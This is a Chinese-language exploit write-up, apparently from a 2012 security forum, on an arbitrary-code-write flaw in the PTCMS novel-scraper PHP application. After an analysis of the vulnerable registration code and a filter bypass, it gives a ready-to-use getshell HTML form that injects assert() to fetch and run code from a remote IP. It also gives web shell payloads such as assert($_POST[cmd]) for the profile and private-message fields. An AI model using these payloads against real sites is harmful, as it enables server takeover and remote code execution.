ptcms PT小说小偷PTNovelSteal 任意代码写入0day
发布日期:2012.01-29
发布作者:佚名
漏洞类型:设计错误
漏洞描述:这套程序用户那里没有使用数据库,所有的用户信息都保存在/data/user 这个目录下!
根据用户名来建立一个文件夹并在内写入用户注册参数与用户的信息。90sec-Web信息安全团队
别的地方代码也就不看了,因为大同小异!所以。我们只看一处代表:
- /user/reg4.php
- if (isset($_POST['dosubmit'])){
- unset($_POST['dosubmit']);
- }else{
- echo"<script>alert('来路不正确!');location.href='reg.php';</script>";
- exit();
- }
- include '../inc/global.php';
- include '../data/user.php';
- $username=$_POST['username'];
- //写入资料信息
- $str='<?php'."\n";
- foreach($_POST as $key => $value){
- $str.="\$key='$value';\n";
- }
- $str.="\$regdate='".date("Y-m-d")."';\n";
- $str.="?>";
- $file='../data/user/'.$username.'/info.php';
- $result=$pt->writeto($file,$str);
……省略
上面的代码我只留下了最关键的。然后看到了我们可爱的foreach 。
把POST的值直接传递给writeto 这个函数。看代码:
- Common.class.php
- // 生成html
- function writeto($filePath, $content){
- pt::createdir(dirname($filePath));
- $pt_html = fopen($filePath, 'w');
- flock($pt_html, LOCK_EX);
- $result = fwrite($pt_html, $content);
- fclose($pt_html);
- return $result;
- }
- //生成目录
- function createdir($dir){
- if (strpos('\\',$dir)){
- $dir=str_replace('\\','/',$dir);
- }
- $edir = explode("/",$dir);
- for($i=0;$i<count($edir);$i++){
- $edirm = $edir[0];
- for($ii=1;$ii<=$i;$ii++){
- $edirm = $edirm.'/'.$edir[$ii];
- }
- if(file_exists($edirm) && is_dir($edirm)){
- }else{
- @mkdir ($edirm,0777);
- }
- }
- }
神奇了吧,直接写入php文件哦。OK 我们看看利用
首先来路的判断可以说直接无视。本文件没有相关的过滤函数!我们去调用文件看看。
- Global.php中
- //防止非法POST
- if (!empty($_REQUEST )){
- $value=implode(" ",$_REQUEST );
- if(preg_match("/\{|\}|fputs|fopen|base64|eval/i", $value)){ // 现在补丁已经在这里加了一个关键字。当然这个漏洞官方并未发现 要利用绕过即可!
- exit('操作非法');
- }
- }
不相关代码略。可以看到Global 里面只是简单的过滤了下 。轻松绕过之- 专注Web信息安全9 T, j) X7 L: c9 Q/ S3 w1 l. Q4 g
利用方法看我EXP吧!
| <title>PT小说系统Getshell Exploit by cfking</title> <form id="QuickSearch" action="" method="post" name="QuickSearch" onsubmit="addaction();"> 目标地址:<input style="width: 400;" type="text" name="doaction" value="http://localhost/user/reg4.php" /> <input style="width: 400;" type="hidden" name="dosubmit" value="test" /> 注册账号:<input style="width: 400;" type="text" name="cfking" value="username" /> 远程代码:<input style="width: 400;" type="text" name="url" value="http://110.110.110.110/xx.txt" /> <input style="width: 400;" type="hidden" name="exp;assert(file_get_contents($url));//" /> <input type="submit" name="QuickSearchBtn" value="提交" style="font-size:16px;"/> </form> <script type="text/javascript"> function addaction() { document.QuickSearch.action=document.QuickSearch.doaction.value; } </script> <hr><p>友情提示:get成功后shell路径在/data/user/用户名/info.php我靠威力太大了!吼吼- -!<p> 远程代码使用TXT文本内容填写:eval($_POST[cmd]); <p><p> |
还有一种方法:
注册账号后在
修改个人资料在来自哪里插入www.90sec.com'?><?php assert($_POST[cmd]);?><?php'
shell路径在/data/user/用户名/info.php,
但是这里如果GPC开启了话就会失败,下面我又找到一处!
发送短消息,在标题或者内容写入这里是我们自己的交流平台,是属于我们90sec所有成员的技术分享平台!
- <?php assert($_POST[cmd]);?>
就可直接拿下了
地址pm.php

下一篇:酷纬企业网站管理系统含有后门程序









